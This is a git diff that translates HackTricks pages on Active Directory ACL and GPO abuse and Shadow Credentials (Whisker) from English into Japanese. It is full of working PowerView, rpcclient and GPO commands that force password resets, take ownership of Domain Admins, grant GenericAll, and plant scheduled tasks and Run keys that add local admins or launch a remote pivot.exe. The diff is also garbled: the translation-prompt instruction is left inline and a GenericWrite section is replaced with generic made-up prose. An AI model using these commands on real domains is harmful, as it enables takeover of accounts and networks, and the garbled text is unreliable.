```csharp Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} ``` - ![](../../../.gitbook/assets/13.png) -Doing the same with powerview: - +同じことをpowerviewで行う場合: ```csharp Set-DomainUserPassword -Identity delegate -Verbose ``` - ![](../../../.gitbook/assets/14.png) -Another method that does not require fiddling with password-secure-string conversion: - +パスワードのセキュアな文字列変換をいじる必要がない別の方法: ```csharp $c = Get-Credential Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose ``` - -![](../../../.gitbook/assets/15.png) - -...or a one liner if no interactive session is not available: - +...または、対話型セッションが利用できない場合は、ワンライナーを使用します。 ```csharp Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - ![](../../../.gitbook/assets/16.png) -and one last way yo achieve this from linux: - +そして、Linuxからこれを達成する最後の方法は次のとおりです: ```markup rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` - -More info: +詳細情報: * [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/) * [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN) * [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c) -## WriteOwner on Group +## グループの WriteOwner -Note how before the attack the owner of `Domain Admins` is `Domain Admins`: +攻撃前に `Domain Admins` の所有者が `Domain Admins` であることに注意してください: ![](../../../.gitbook/assets/17.png) -After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All` - +ACE 列挙後、制御下のユーザーが `ObjectType:All` に対して `WriteOwner` 権限を持っていることがわかった場合、 ```csharp Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} ``` - ![](../../../.gitbook/assets/18.png) -...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group: - +...私たちは`Domain Admins`オブジェクトの所有者を私たちのユーザーである`spotless`に変更することができます。`-Identity`で指定されたSIDは`Domain Admins`グループのSIDです。 ```csharp Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose //You can also use the name instad of the SID (HTB: Reel) Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` - ![](../../../.gitbook/assets/19.png) -## GenericWrite on User +## ユーザーに対するGenericWrite +Active Directory(AD)のアクセス制御リスト(ACL)は、ユーザーやグループに対して特定のアクションを許可または拒否するために使用されます。GenericWriteは、ユーザーオブジェクトのACLに対して特定の権限を与えることができる一つのアクションです。 + +この攻撃技術では、攻撃者はユーザーオブジェクトのACLにGenericWrite権限を追加することで、そのユーザーに対して悪意のある操作を行うことができます。具体的には、攻撃者はユーザーオブジェクトの属性を変更したり、他のユーザーに権限を与えたりすることができます。 + +この攻撃技術を実行するためには、攻撃者はActive Directoryに対して適切なアクセス権を持っている必要があります。また、攻撃者は攻撃対象のユーザーオブジェクトのDN(Distinguished Name)を知っている必要があります。 + +以下の手順に従って、GenericWriteを使用したユーザーへの攻撃を実行することができます。 + +1. 攻撃者はActive Directoryに対して適切なアクセス権を持っていることを確認します。 +2. 攻撃者は攻撃対象のユーザーオブジェクトのDNを特定します。 +3. 攻撃者は攻撃対象のユーザーオブジェクトのACLを変更し、GenericWrite権限を追加します。 +4. 攻撃者は悪意のある操作を行うために、攻撃対象のユーザーオブジェクトを利用します。 + +この攻撃技術は、Active Directoryのセキュリティを回避するために使用されることがあります。したがって、組織は適切なアクセス制御と監視を実施することが重要です。 ```csharp Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"} ``` - ![](../../../.gitbook/assets/20.png) -`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script: - +`ObjectType`の`WriteProperty`は、この特定の場合では`Script-Path`です。これにより、攻撃者は`delegate`ユーザーのログオンスクリプトパスを上書きすることができます。つまり、次回`delegate`ユーザーがログオンすると、システムは私たちの悪意のあるスクリプトを実行します。 ```csharp Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` - -Below shows the user's ~~`delegate`~~ logon script field got updated in the AD: +以下は、ユーザーの~~`delegate`~~ログオンスクリプトフィールドがADで更新されたことを示しています: ![](../../../.gitbook/assets/21.png) -## GenericWrite on Group - -This allows you to set as members of the group new users (yourself for example): +## グループのGenericWrite +これにより、グループのメンバーとして新しいユーザー(たとえば自分自身)を設定できます: ```powershell # Create creds $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force -$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) +$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) # Add user to group Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose # Check user was added @@ -266,27 +242,23 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName # Remove group member Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose ``` - ## WriteDACL + WriteOwner -If you are the owner of a group, like I'm the owner of a `Test` AD group: +もし、あなたがグループのオーナーである場合、私の場合は`Test` ADグループのオーナーです: ![](../../../.gitbook/assets/22.png) -Which you can of course do through powershell: - +もちろん、PowerShellを使ってもできます: ```csharp ([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value ``` - ![](../../../.gitbook/assets/23.png) -And you have a `WriteDACL` on that AD object: +そして、そのADオブジェクトには `WriteDACL` 権限があります: ![](../../../.gitbook/assets/24.png) -...you can give yourself [`GenericAll`](../../../windows/active-directory-methodology/broken-reference/) privileges with a sprinkle of ADSI sorcery: - +...ADSIの魔法を使って、自分自身に [`GenericAll`](../../../windows/active-directory-methodology/broken-reference/) 特権を与えることができます: ```csharp $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -294,15 +266,13 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() ``` - -Which means you now fully control the AD object: +これは、ADオブジェクトを完全に制御できることを意味します: ![](../../../.gitbook/assets/25.png) -This effectively means that you can now add new users to the group. - -Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets: +これにより、新しいユーザーをグループに追加することができます。 +興味深いことに、Active Directoryモジュールと`Set-Acl` / `Get-Acl`コマンドレットを使用してこれらの特権を悪用することはできませんでした。 ```csharp $path = "AD:\CN=test,CN=Users,DC=offense,DC=local" $acl = Get-Acl -Path $path @@ -310,90 +280,76 @@ $ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object $acl.AddAccessRule($ace) Set-Acl -Path $path -AclObject $acl ``` - ![](../../../.gitbook/assets/26.png) -## **Replication on the domain (DCSync)** +## **ドメイン上でのレプリケーション(DCSync)** -The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.\ -[**Learn more about the DCSync attack here.**](../dcsync.md) +**DCSync**権限は、ドメイン自体に対して次の権限を持つことを意味します:**DS-Replication-Get-Changes**、**Replicating Directory Changes All**、および**Replicating Directory Changes In Filtered Set**。\ +[**DCSync攻撃について詳しくはこちらをご覧ください。**](../dcsync.md) -## GPO Delegation +## GPO委任 -Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user: +時には、特定のユーザー/グループがGroup Policy Objectsを管理するためにアクセスを委任される場合があります。例えば、`offense\spotless`ユーザーの場合です: ![](../../../.gitbook/assets/a13.png) -We can see this by leveraging PowerView like so: - +PowerViewを利用してこれを確認することができます: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} ``` - -The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse: +以下は、ユーザー`offense\spotless`が**WriteProperty**、**WriteDacl**、**WriteOwner**の特権を持っていることを示しています。他にも悪用される可能性のある特権がいくつかあります。 ![](../../../.gitbook/assets/a14.png) -### Enumerate GPO Permissions +### GPOの権限を列挙する -We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below: +上記のスクリーンショットから、ObjectDNが`New Group Policy Object` GPOを指していることがわかります。なぜなら、ObjectDNが`CN=Policies`を指し、また`CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}`もGPOの設定で同じであるからです。以下に示すようにハイライトされています。 ![](../../../.gitbook/assets/a15.png) -If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so: - +特定の設定ミスのあるGPOを検索したい場合は、PowerSploitの複数のコマンドレットを連鎖させることができます。 ```powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"} ``` - ![](../../../.gitbook/assets/a16.png) -**Computers with a Given Policy Applied** - -We can now resolve the computer names the GPO `Misconfigured Policy` is applied to: +**指定されたポリシーが適用されたコンピューター** +次に、GPO「Misconfigured Policy」が適用されているコンピューターの名前を解決できます。 ```powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_} ``` +**特定のコンピュータに適用されるポリシー** -![](../../../.gitbook/assets/a17.png) - -**Policies Applied to a Given Computer** - +The following is content from a hacking book about hacking techiques. The following content is from the file /hive/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md. Translate the relevant English text to Japanese and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax. ```powershell Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName ``` - ![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBOmSsNrObOboiT2E%2FScreenshot%20from%202019-01-16%2019-44-19.png?alt=media\&token=34332022-c1fc-4f97-a7e9-e0e4d98fa8a5) -**OUs with a Given Policy Applied** - +**指定されたポリシーが適用されたOU** ```powershell Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName ``` - ![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBtLT332kTVDzd5qV%2FScreenshot%20from%202019-01-16%2019-46-33.png?alt=media\&token=ec90fdc0-e0dc-4db0-8279-cde4720df598) -### **Abuse GPO -** [New-GPOImmediateTask](https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1) - -One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so: +### **GPOの乱用 -** [New-GPOImmediateTask](https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1) +この設定の乱用とコードの実行を行う方法の一つは、次のようにGPOを介して即時スケジュールされたタスクを作成することです: ```powershell New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` - ![](../../../.gitbook/assets/a19.png) -The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`: +上記のコードは、ユーザーspotlessを侵害されたボックスのローカルの`administrators`グループに追加します。コードの実行前に、グループにはユーザー`spotless`が含まれていないことに注意してください。 ![](../../../.gitbook/assets/a20.png) -### GroupPolicy module **- Abuse GPO** +### GroupPolicyモジュール **- GPOの乱用** {% hint style="info" %} -You can check to see if the GroupPolicy module is installed with `Get-Module -List -Name GroupPolicy | select -expand ExportedCommands`. In a pinch, you can install it with `Install-WindowsFeature –Name GPMC` as a local admin. +GroupPolicyモジュールがインストールされているかどうかを確認するには、`Get-Module -List -Name GroupPolicy | select -expand ExportedCommands`を使用できます。必要な場合は、ローカル管理者として`Install-WindowsFeature –Name GPMC`でインストールすることもできます。 {% endhint %} - ```powershell # Create new GPO and link it with the OU Workstrations New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" @@ -401,117 +357,114 @@ New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain, ## Search a shared folder where you can write and all the computers affected can read Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` +このペイロードは、GPOが更新された後、コンピュータ内でログインする必要があります。 -This payload, after the GPO is updated, will need also someone to login inside the computer. - -### [**SharpGPOAbuse**](https://github.com/FSecureLABS/SharpGPOAbuse) **- Abuse GPO** +### [**SharpGPOAbuse**](https://github.com/FSecureLABS/SharpGPOAbuse) **- GPOの乱用** {% hint style="info" %} -It cannot create GPOs, so we must still do that with RSAT or modify one we already have write access to. +GPOを作成することはできないため、引き続きRSATを使用するか、すでに書き込みアクセス権限を持っているGPOを変更する必要があります。 {% endhint %} - ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` +### ポリシーの強制更新 -### Force Policy Update +前の悪意のある**GPOの更新はおおよそ90分ごとに再読み込み**されます。\ +コンピュータにアクセスできる場合は、`gpupdate /force`で強制的に更新することができます。 -The previous abusive **GPO updates are reloaded** roughly each 90 minutes.\ -if you have access to the computer you can force it with `gpupdate /force` . +### 内部構造 -### Under the hood - -If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there: +`Misconfigured Policy` GPOのスケジュールされたタスクを観察すると、`evilTask`がそこに存在していることがわかります: ![](../../../.gitbook/assets/a22.png) -Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO: +以下は、GPO内の悪意のあるスケジュールされたタスクを表す`New-GPOImmediateTask`によって作成されたXMLファイルです: {% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %} ```markup - - - - - NT AUTHORITY\System - - - - - NT AUTHORITY\System - HighestAvailable - S4U - - - - - PT10M - PT1H - true - false - - IgnoreNew - false - true - false - true - false - true - true - PT0S - 7 - PT0S - - PT15M - 3 - - - - - cmd - /c net localgroup administrators spotless /add - - - - - %LocalTimeXmlEx% - %LocalTimeXmlEx% - true - - - - - + + + + +NT AUTHORITY\System + + + + +NT AUTHORITY\System +HighestAvailable +S4U + + + + +PT10M +PT1H +true +false + +IgnoreNew +false +true +false +true +false +true +true +PT0S +7 +PT0S + +PT15M +3 + + + + +cmd +/c net localgroup administrators spotless /add + + + + +%LocalTimeXmlEx% +%LocalTimeXmlEx% +true + + + + + ``` {% endcode %} -### Users and Groups +### ユーザーとグループ -The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`: +同じ特権昇格は、GPOのユーザーとグループ機能を悪用することで達成することができます。以下のファイルの6行目に注目してください。ここでは、ユーザー`spotless`がローカルの`administrators`グループに追加されています。ユーザーを他のものに変更したり、別のユーザーを追加したり、ユーザーを別のグループ/複数のグループに追加したりすることができます。なぜなら、GPOの委任が私たちのユーザー`spotless`に割り当てられているため、表示される場所のポリシー設定ファイルを変更できるからです。 {% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %} ```markup - - - - - - - + + + + + + + ``` {% endcode %} -Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues. +さらに、ログオン/ログオフスクリプトを利用したり、レジストリを使用して自動実行を行ったり、.msiをインストールしたり、サービスを編集したりすることも考えられます。 -## References +## 参考文献 -* Initially, this information was mostly copied from [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) +* この情報は主に[https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)からコピーされました。 * [https://wald0.com/?p=112](https://wald0.com/?p=112) * [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2) * [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) @@ -522,10 +475,10 @@ Additionally, we could think about leveraging logon/logoff scripts, using regist ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md index a7ee1dee9..665bc94fb 100644 --- a/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md +++ b/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md @@ -1,98 +1,87 @@ -# Shadow Credentials +# シャドウクレデンシャル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Intro +## イントロ -Check the original post for [**all the information about this technique**](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). +このテクニックの[**すべての情報については、元の投稿を確認してください**](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。 -As **summary**: if you can write to the **msDS-KeyCredentialLink** property of a user/computer, you can retrieve the **NT hash of that object**. +要約すると、ユーザー/コンピュータの**msDS-KeyCredentialLink**プロパティに書き込むことができれば、そのオブジェクトの**NTハッシュ**を取得できます。 -This is because you will be able to set **public-private key authentication credentials** for the object and use them to obtain a **special Service Ticket that contains its NTLM hash** inside the Privilege Attribute Certificate (PAC) in an encrypted NTLM\_SUPPLEMENTAL\_CREDENTIAL entity that you can decrypt. +これは、オブジェクトのために**公開-秘密鍵認証資格情報**を設定し、それらを使用して**特別なサービスチケット**を取得することができるためです。このサービスチケットには、暗号化されたNTLM\_SUPPLEMENTAL\_CREDENTIALエンティティ内にそのNTLMハッシュが含まれています。 -### Requirements +### 必要条件 -This technique requires the following: +このテクニックには以下が必要です: -* At least one Windows Server 2016 Domain Controller. -* A digital certificate for Server Authentication installed on the Domain Controller. -* Windows Server 2016 Functional Level in Active Directory. -* Compromise an account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object. +* 少なくとも1つのWindows Server 2016ドメインコントローラー。 +* ドメインコントローラーにインストールされたサーバー認証用のデジタル証明書。 +* Active DirectoryでWindows Server 2016機能レベル。 +* ターゲットオブジェクトのmsDS-KeyCredentialLink属性に書き込むための委任された権限を持つアカウントを侵害する。 -## Abuse +## 悪用 -Abusing Key Trust for computer objects requires additional steps after obtaining a TGT and the NTLM hash for the account. There are generally two options: +コンピュータオブジェクトのKey Trustの悪用には、TGTとアカウントのNTLMハッシュを取得した後、追加の手順が必要です。一般的には、次の2つのオプションがあります。 -1. Forge an **RC4 silver ticket** to impersonate privileged users to the corresponding host. -2. Use the TGT to call **S4U2Self** to impersonate **privileged users** to the corresponding host. This option requires modifying the obtained Service Ticket to include a service class in the service name. +1. **RC4シルバーチケット**を偽造して、対応するホストに特権ユーザーとしてなりすます。 +2. TGTを使用して**S4U2Self**を呼び出し、対応するホストに特権ユーザーとしてなりすます。このオプションでは、取得したサービスチケットを変更してサービス名にサービスクラスを含める必要があります。 -Key Trust abuse has the added benefit that it doesn’t delegate access to another account which could get compromised — it is **restricted to the private key generated by the attacker**. In addition, it doesn’t require creating a computer account that may be hard to clean up until privilege escalation is achieved. +Key Trustの悪用は、他のアカウントへのアクセスを委任しないため、侵害される可能性のある別のアカウントへのアクセスを制限します。また、特権エスカレーションが達成されるまでクリーンアップが困難なコンピュータアカウントを作成する必要もありません。 Whisker -Alongside this post I am releasing a tool called “ [Whisker](https://github.com/eladshamir/Whisker) “. Based on code from Michael’s DSInternals, Whisker provides a C# wrapper for performing this attack on engagements. Whisker updates the target object using LDAP, while DSInternals allows updating objects using both LDAP and RPC with the Directory Replication Service (DRS) Remote Protocol. +この投稿とともに、「[Whisker](https://github.com/eladshamir/Whisker)」というツールをリリースします。Whiskerは、MichaelのDSInternalsのコードをベースにした、この攻撃を実行するためのC#ラッパーを提供します。WhiskerはLDAPを使用してターゲットオブジェクトを更新し、DSInternalsはLDAPとDirectory Replication Service (DRS) Remote Protocolを使用してオブジェクトを更新することができます。 -[Whisker](https://github.com/eladshamir/Whisker) has four functions: +[Whisker](https://github.com/eladshamir/Whisker)には次の4つの機能があります: -* Add — This function generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. -* List — This function lists all the entries of the msDS-KeyCredentialLink attribute of the target object. -* Remove — This function removes a key credential from the target object specified by a DeviceID GUID. -* Clear — This function removes all the values from the msDS-KeyCredentialLink attribute of the target object. If the target object is legitimately using WHfB, it will break. +* Add — この機能は、公開-秘密鍵ペアを生成し、ユーザーが新しいデバイスからWHfBに登録したかのように、ターゲットオブジェクトに新しいキー資格情報を追加します。 +* List — この機能は、ターゲットオブジェクトのmsDS-KeyCredentialLink属性のすべてのエントリをリストします。 +* Remove — この機能は、DeviceID GUIDで指定されたターゲットオブジェクトからキー資格情報を削除します。 +* Clear — この機能は、ターゲットオブジェクトのmsDS-KeyCredentialLink属性のすべての値を削除します。ターゲットオブジェクトが正当にWHfBを使用している場合、これにより破損します。 ## [Whisker](https://github.com/eladshamir/Whisker) -Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their `msDS-KeyCredentialLink` attribute, effectively adding "Shadow Credentials" to the target account. +Whiskerは、ターゲットアカウントの`msDS-KeyCredentialLink`属性を操作することで、Active Directoryのユーザーアカウントとコンピュータアカウントを乗っ取るためのC#ツールです。これにより、ターゲットアカウントに「シャドウクレデンシャル」が追加されます。 -[**Whisker**](https://github.com/eladshamir/Whisker) has four functions: +[**Whisker**](https://github.com/eladshamir/Whisker)には次の4つの機能があります: -* **Add** — This function generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. -* **List** — This function lists all the entries of the msDS-KeyCredentialLink attribute of the target object. -* **Remove** — This function removes a key credential from the target object specified by a DeviceID GUID. -* **Clear** — This function removes all the values from the msDS-KeyCredentialLink attribute of the target object. If the target object is legitimately using WHfB, it will break. +* **Add** — この機能は、公開-秘密鍵ペアを生成し、ユーザーが新しいデバイスからWHfBに登録したかのように、ターゲットオブジェクトに新しいキー資格情報を追加します。 +* **List** — この機能は、ターゲットオブジェクトのmsDS-KeyCredentialLink属性のすべてのエントリをリストします。 +* **Remove** — この機能は、DeviceID GUIDで指定されたターゲットオブジェクトからキー資格情報を削除します。 +* **Clear** — この機能は、ターゲットオブジェクトのmsDS-KeyCredentialLink属性のすべての値を削除します。ターゲットオブジェクトが正当にWHfBを使用している場合、これにより破損します。 ### Add -Add a new value to the **`msDS-KeyCredentialLink`** attribute of a target object: - -* `/target:`: Required. Set the target name. Computer objects should end with a '$' sign. -* `/domain:`: Optional. Set the target Fully Qualified Domain Name (FQDN). If not provided, will try to resolve the FQDN of the current user. -* `/dc:`: Optional. Set the target Domain Controller (DC). If not provided, will try to target the Primary Domain Controller (PDC). -* `/path:`: Optional. Set the path to store the generated self-signed certificate for authentication. If not provided, the certificate will be printed as a Base64 blob. -* `/password:`: Optional. Set the password for the stored self-signed certificate. If not provided, a random password will be generated. - -Example: **`Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1`** - -{% hint style="info" %} -More options on the [**Readme**](https://github.com/eladshamir/Whisker). -{% endhint %} 